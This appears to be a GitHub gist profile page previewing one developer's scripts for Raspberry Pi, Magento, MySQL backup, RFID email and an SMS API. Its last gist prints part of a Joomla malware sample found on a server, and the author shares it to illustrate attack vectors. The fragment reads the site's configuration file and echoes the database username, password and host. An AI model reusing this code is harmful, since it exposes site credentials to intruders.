Skip to content

Instantly share code, notes, and snippets.

View pkdavies's full-sized avatar

Peter Davies pkdavies

View GitHub Profile
@pkdavies
pkdavies / fix-ssh-raspberry-pi
Created January 31, 2013 11:16
Fresh Raspberry Pi had issues with starting SSH
# on command line:
ssh-keygen -t 'rsa'
ssh-keygen -t 'dsa'
ssh-keygen -t 'ecdsa'
#When asked to set path use the following for each corresponding key type and overwrite when asked:
/etc/ssh/ssh_host_rsa_key
/etc/ssh/ssh_host_dsa_key
@pkdavies
pkdavies / PATCH_SUPEE-991_EE_1.12.0.2_v2.sh
Created March 4, 2013 09:29
First please revert the previous patch we sent you by running the command below from within your Magento directory: patch -p0 -R < SUPEE-991_EE_1.12.0.2_v1.patch Once that has been completed, upload the new patch in your Magento (root) directory, log in via SSH and cd /magento (or root). Once there, run the following command: sh PATCH_SUPEE-991…
#!/bin/bash
# Patch apllying tool template
# v0.1.2
# (c) Copyright 2013. Magento Inc.
#
# DO NOT CHANGE ANY LINE IN THIS FILE.
# 1. Check required system tools
_check_installed_tools() {
local missed=""
@pkdavies
pkdavies / mbak.sh
Created March 4, 2013 12:28
Simple script to backup a MySQL database and delete files older than two days:
#!/bin/sh
bkpdate=`/bin/date +%Y%m%d-%H`
/usr/bin/mysqldump --user=root --password=yourpass --lock-tables=false --databases list_dbs_here > /databases/backup-${bkpdate}.sql
/usr/bin/zip /databases/backup-${bkpdate}.zip /databases/backup-${bkpdate}.sql
for file in "$( /usr/bin/find /databases -type f -mtime +2 )"
do
/bin/rm -f $file
@pkdavies
pkdavies / magento-clean.sql
Created March 4, 2013 15:07
Cleanup Magento database tables, including old quotes that never made it to checkout
USE magentositedb;
TRUNCATE `magento_dataflow_batch_export`;
TRUNCATE `magento_dataflow_batch_import`;
TRUNCATE `magento_log_customer`;
TRUNCATE `magento_log_quote`;
TRUNCATE `magento_log_summary`;
TRUNCATE `magento_log_summary_type`;
TRUNCATE `magento_log_url`;
TRUNCATE `magento_log_url_info`;
@pkdavies
pkdavies / rfid.php
Created March 11, 2013 18:30
This takes posted data from the RFID app and e-mails the result
<?php
$salt = "thesaltvalue";
if (isset($_POST["rfid_data"]) && isset($_POST["rfid_user"])
&& $_POST["rfid_key"] == md5($_POST["rfid_user"].$_POST["rfid_data"].$salt)){
$message = "RFID Data"."\n";
$message .= $_POST["rfid_data"]."\n";
$message .= "User ------------------------------"."\n";
@pkdavies
pkdavies / strip.pl
Created March 13, 2013 10:30
Perl script for XML to TSV (tab separated) allowing fast MySQL import
#!/usr/bin/perl -w
use strict;
### Begin
my $file = shift;
open (XML, "</home/scripts/cod/" . $file . ".xml") || die($!);
open (TSV, ">/home/scripts/cod/" . $file . ".tsv") || die($!);
@pkdavies
pkdavies / gist:5196234
Created March 19, 2013 13:47
Zend-Framework force-download for IE
<?php
$userAgent = new Zend_Http_UserAgent();
$device = $userAgent->getDevice();
$browser = $device->getBrowser();
if ($browser == "Internet Explorer") {
header("Content-Type: application/force-download");
}
@pkdavies
pkdavies / showbanner.php
Created March 28, 2013 09:59
OpenX and Campaign Monitor banner delivery for automated RSS feed reader
<?php
/*
* Create a unique link/image everytime
*
* ----------- Original -----------
* <a href='http://ads.domain.com/www/delivery/ck.php?n=<?php echo $campaign; ?>&cb=<?php echo $cache_buster; ?>' target='_blank' cm_dontconvertlink >
* <img src='http://ads.domain.com/www/delivery/avw.php?zoneid=<?php echo $zone; ?>&n=<?php echo $campaign; ?>&cb=<?php echo $cache_buster; ?>' border='0' alt='' cm_dontimportimage />
* </a>
*
* ----------- New -----------
@pkdavies
pkdavies / clickatell.php
Created April 4, 2013 13:30
Clickatell test API call
<?php
$user = "user";
$password = "pass";
$api_id = "123456";
$baseurl ="http://api.clickatell.com";
$text = urlencode("Knock knock);
$to = "+4471253789";
// auth call
@pkdavies
pkdavies / sn.php
Created April 5, 2013 12:19
Joomla Link Changer - found on server and used in my own blog post to highlight common attack vectors used on Joomla sites
<?php
Error_Reporting(E_ERROR);
ini_set("max_execution_time", "555");
$gg=fopen('../configuration.php', 'r');
while($s=fgets($gg)){
if(strstr($s,'$user')){$str=explode("'",$s);$usr=$str[1];}
if(strstr($s,'$host ')){$str=explode("'",$s);$hst=$str[1];}
if(strstr($s,'$password ')){$str=explode("'",$s);$pass=$str[1];}
};fclose($gg);
echo "$usr-$pass-$hst";